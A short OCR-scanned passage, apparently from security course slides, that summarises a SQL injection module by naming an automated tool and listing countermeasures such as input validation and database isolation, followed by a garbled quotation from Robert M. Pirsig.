U Pen-testers and attackers need to follow a comprehensive SQL injection methodology and use
automated tools such as BSQLHacker for successful injection attacks

U Major SQL injection countermeasures involve input data validation, error message suppression
or customization, proper DB access privilege management and isolation of databases from 3 :
underlying OS PR
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Quotes

U‘Technmlagy presumes ther_e_'s just one right way to do
things and there neveris. 7/

-Robert M. Pirsig,

An American Writer and
Philosopher
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